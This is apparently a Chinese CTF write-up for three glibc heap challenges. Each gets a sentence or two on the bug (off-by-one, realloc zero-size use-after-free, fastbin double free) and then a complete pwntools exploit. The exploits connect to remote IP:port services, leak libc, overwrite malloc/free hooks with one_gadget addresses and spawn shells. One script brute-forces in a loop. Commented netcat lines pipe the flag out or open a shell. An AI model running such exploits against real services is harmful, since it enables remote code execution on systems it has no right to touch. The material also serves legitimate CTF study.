程序中故意写了个off-by-one。由于程序使用的是calloc需要注意一下申请是会清空chunk的内容。exp如下:
#coding:utf-8 from pwn import * import argparse glibc = 'raw' # glibc_version IP = '39.97.182.233' # wait input PORT = '42253' # wait input binary = './easy_pwn' context.binary = binary # wait input context.terminal = ['gnome-terminal','-x','sh','-c'] # context.terminal = ['tmux','split','-h'] elf = ELF(binary) io = None ### parse args parser = argparse.ArgumentParser() parser.add_argument('-d', '--debugger', action='store_true') parser.add_argument('-r', '--remote', action='store_true') parser.add_argument('-l', '--local', action='store_true') args = parser.parse_args() ### easy program sa = lambda x,y : io.sendafter(x,y) sl = lambda x : io.sendline(x) sd = lambda x : io.send(x) sla = lambda x,y : io.sendlineafter(x,y) rud = lambda x : io.recvuntil(x,drop=True) ru = lambda x : io.recvuntil(x) one_gg_223 = [0x3f3d6,0x3f42a,0xd5bf7] one_gg_227 = [0x4f2c5,0x4f322,0x10a38c] if args.remote: io = remote(IP, PORT) if glibc == '2.23': libc = ELF("/root/glibc_env/glibc-2.23-binary/libc.so") else: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elif args.local or args.debugger: # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")} env = {} if glibc == '2.23': io = process(["/root/glibc_env/glibc-2.23-binary/ld.so", binary ], env={"LD_PRELOAD":"/root/glibc_env/glibc-2.23-binary/libc.so"}) libc_bb = io.libs()['/root/glibc_env/glibc-2.23-binary/libc.so'] libc = ELF('/root/glibc_env/glibc-2.23-binary/libc.so') else: io = process(binary, env = env) libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6'] libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))] else: parser.print_help() exit() def lg(s, addr): print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr)) def debug(bdmsg = ''): # bdmsg += 'directory /root/glibc_env/glibc-2.23-source/malloc' gdb.attach(io,bdmsg) def magic(offset): global __malloc_hook,system,libc_base,__free_hook leak = u64(ru("\x7f")[-6:].ljust(8,'\x00')) lg('leak',leak) libc_base = leak - offset lg('libc_base',libc_base) __free_hook = libc_base + libc.symbols['__free_hook'] __malloc_hook = libc_base + libc.symbols['__malloc_hook'] lg('__malloc_hook',__malloc_hook) system = libc_base + libc.symbols['system'] def add(sz): sla(":","1") sla(":",str(sz)) def edit(idx,sz,con): sla(":","2") sla(":",str(idx)) sla(":",str(sz)) sa(":",con) def free(idx): sla(":","3") sla(":",str(idx)) def show(idx): sla(":","4") sla(":",str(idx)) def exploit(): add(0x88) add(0x40) add(0x40) add(0x30) edit(0,0x88 + 0xa,'a' * 0x88 + chr(0xa1)) free(1) add(0x40) show(2) magic(0x3c4b78) add(0x40) add(0x38) # 5 add(0x38) # 6 add(0x68) # 7 add(0x38) # 8 free(7) edit(5,0x38 + 0xa,'a' * 0x38 + chr(0xb1)) free(6) add(0xa1) # 6 edit(6,0x48,'a' * 0x30 + p64(0x0) + p64(0x71) + p64(__malloc_hook - 0x23)) add(0x60) add(0x60) # 9 realloc_hook = libc_base + libc.symbols['realloc'] lg('onegg',one_gg_223[1] + libc_base) edit(9,0x18 + 3 , '\x00' * (0x3 + 0x8) + p64(0x4526a + libc_base) + p64(realloc_hook + 0x0)) # edit(5, 0x18+3, 'aaa'+p64(0)+p64(libc_base+0xf1147)+p64(realloc+4)) sl("1") sleep(0.3) sl("123") io.interactive() if __name__ == "__main__": exploit()# """ 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL """
该题考点是realloc的特性,分配0 size的时候会返回0x0。存在uaf。参考这篇文章。exp如下。
#coding:utf-8 from pwn import * import argparse # env = os.environ # env['LD_PRELOAD'] = './libc64.so' IP = '39.97.182.233' PORT = '38664' binary = './realloc' io = None parser = argparse.ArgumentParser() parser.add_argument('-d', '--debugger', action='store_true') parser.add_argument('-r', '--remote', action='store_true') parser.add_argument('-l', '--local', action='store_true') args = parser.parse_args() sa = lambda x,y : io.sendafter(x,y) sl = lambda x : io.sendline(x) sd = lambda x : io.send(x) sla = lambda x,y : io.sendlineafter(x,y) rud = lambda x : io.recvuntil(x,drop=True) ru = lambda x : io.recvuntil(x,timeout = 0.2) def lg(s, addr): print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr)) if args.remote: io = remote(IP, PORT) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elf = ELF(binary) elif args.local or args.debugger: # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")} env = {} io = process(binary, env=env) elf = ELF(binary) proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))] # libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6'] libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") else: parser.print_help() exit() libc_base,__malloc_hook,system = None,None,None def magic(offset): global libc_base,__malloc_hook,system,__free_hook leak = u64(ru("\x7f")[-6:].ljust(8,'\x00')) lg('leak',leak) libc_base = leak - offset lg('base',libc_base) __malloc_hook = libc_base + libc.symbols['__malloc_hook'] __free_hook = libc_base + libc.symbols['__free_hook'] system = libc_base + libc.symbols['system'] def debug(msg=""): pwnlib.gdb.attach(io,msg) def add(sz,con): sla(">>","1") io.sendlineafter("Size?",str(sz)) sa("?",con) def free(): sla(">>","2") def magic_(): sla(">>","666") def exploit(): # add(0x80,'a') # free() # free() # add(0x80,p64(0xdeadbeef)) # magic_() # add(0x80,'a') # magic_() # add(0x80,'123') # add(0x90,p64(0xdeadbeef)) # add(0x0,'') # add(0x80,'') add(0x70,'a') add(0x0,'') add(0x100,'a') add(0x0,'') add(0xe0,'a') add(0x0,'') add(0x100,'a') [free() for i in range(7)] add(0x0,'') add(0x70,'a') # debug() add(0x180,chr(0) * 0x78 + p64(0x41) + '\x60\x57') # debug() add(0x0,'') add(0x100,'a') add(0x0,'') add(0x100,p64(0xfbad1887) + p64(0) *3 + "\x00") # leak magic(0x3ed8b0) magic_() add(0x70,'a') add(0x0,'') add(0x110,'a') add(0x0,'') add(0xf0,'a') add(0x0,'') add(0x110,'a') [free() for i in range(7)] add(0x0,'') add(0x70,'a') # debug() add(0x190,chr(0) * 0x78 + p64(0x41) + p64(libc_base + 0x3ed8e8)) add(0x0,'') add(0x110,'a') add(0x0,'') lg('__free_hook',__free_hook) one_gg = libc_base + 0x4f322 add(0x110,p64(one_gg)) # leak sl("2") success(" get shell ") # debug() # add(0x180,chr(0) * 0x78 + p64(0x111) + p64(__free_hook)) # add(0x0,'') # add(0x30,'a') # add(0x0,'') # one_gg = libc_base + 0x4f322 # add(0x30,p64(one_gg)) io.interactive() if __name__ == "__main__": while(True): io = remote(IP, PORT) try: exploit() io.close() except Exception as e: continue """ 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL """
程序中存在uaf漏洞,不过只有一个用来存在ptr。然后发现有个build_free,build申请0xa0的size。free也存在uaf。这样其实就想到fastbin double free。先申请一个0xa0大小的chunk。释放会进入unsorted bin。然后用外面的申请两个0x68,两个存放ptr的都指向了0x68的size大小的chunk。然后申请到bss段。用name伪造size。exp如下:
#coding:utf-8 #coding:utf-8 from pwn import * import argparse # env = os.environ # env['LD_PRELOAD'] = './libc64.so' IP = 'localhost' PORT = '2333' binary = './pwn' context.binary = './pwn' io = None parser = argparse.ArgumentParser() parser.add_argument('-d', '--debugger', action='store_true') parser.add_argument('-r', '--remote', action='store_true') parser.add_argument('-l', '--local', action='store_true') args = parser.parse_args() sa = lambda x,y : io.sendafter(x,y) sl = lambda x : io.sendline(x) sd = lambda x : io.send(x) sla = lambda x,y : io.sendlineafter(x,y) rud = lambda x : io.recvuntil(x,drop=True) ru = lambda x : io.recvuntil(x) def lg(s, addr): print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr)) if args.remote: io = remote(IP, PORT) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elf = ELF(binary) elif args.local or args.debugger: # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")} env = {} io = process(binary, env=env) elf = ELF(binary) proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))] libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6'] libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") else: parser.print_help() exit() def debug(msg=""): pwnlib.gdb.attach(io,msg) raw_input() def add(sz,con): sla(">>","1") sla("size",str(sz)) sa("content",con) def free(): sla(">>","2") def build(con): sla(">>","666") sla("?","1") sa("content",con) def _free(): sla(">>","666") sla("?","2") def debug(msg=''): gdb.attach(io,msg) def exploit(): sla("name",flat(0x0,0x71,0x602060)) # fake size sla("info",flat(0x0,0x21)) build("aaa") add(0x18,'bbb') _free() add(0x68,'ccc') add(0x68,'ccc') free() _free() free() add(0x68,p64(0x602060)) add(0x68,'ddd') add(0x68,'eee') add(0x60,p64(0x602060) + 'a' * 0x10 + p64(elf.got['__libc_start_main']) + p64(0xDEADBEEFDEADBEEF)) io.sendlineafter(">>","3") # show main = u64(ru("\x7f")[-6:].ljust(8,'\x00')) base = main - libc.symbols['__libc_start_main'] lg('base',base) __malloc_hook = base + libc.symbols['__malloc_hook'] io.sendline("1") time.sleep(0.3) io.sendline(str(0x68)) time.sleep(0.3) io.sendline(p64(__malloc_hook - 0x23)) io.sendline("1") time.sleep(0.3) io.sendline(str(0x68)) time.sleep(0.3) io.sendline('junk') time.sleep(0.3) io.sendline("1") time.sleep(0.3) io.sendline(str(0x68)) time.sleep(0.3) onegg = base + 0xf1147 io.sendline('a' * 11 + p64(onegg) + p64(base + libc.symbols['realloc'] + 20)) sleep(0.3) io.sendline("1") sleep(0.3) io.sendline("123") sleep(0.3) # io.send("cat flag | nc localhost 2333") # io.send("nc -e localhost 2333") # io.send("sh flag;") # io.send("cat flag >&0") # io.send("exec 1>&0; cat flag") # http://m4x.fun/post/play-with-file-descriptor-3/ # debug("b *__realloc_hook") io.interactive() if __name__ == "__main__": exploit() """ 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL """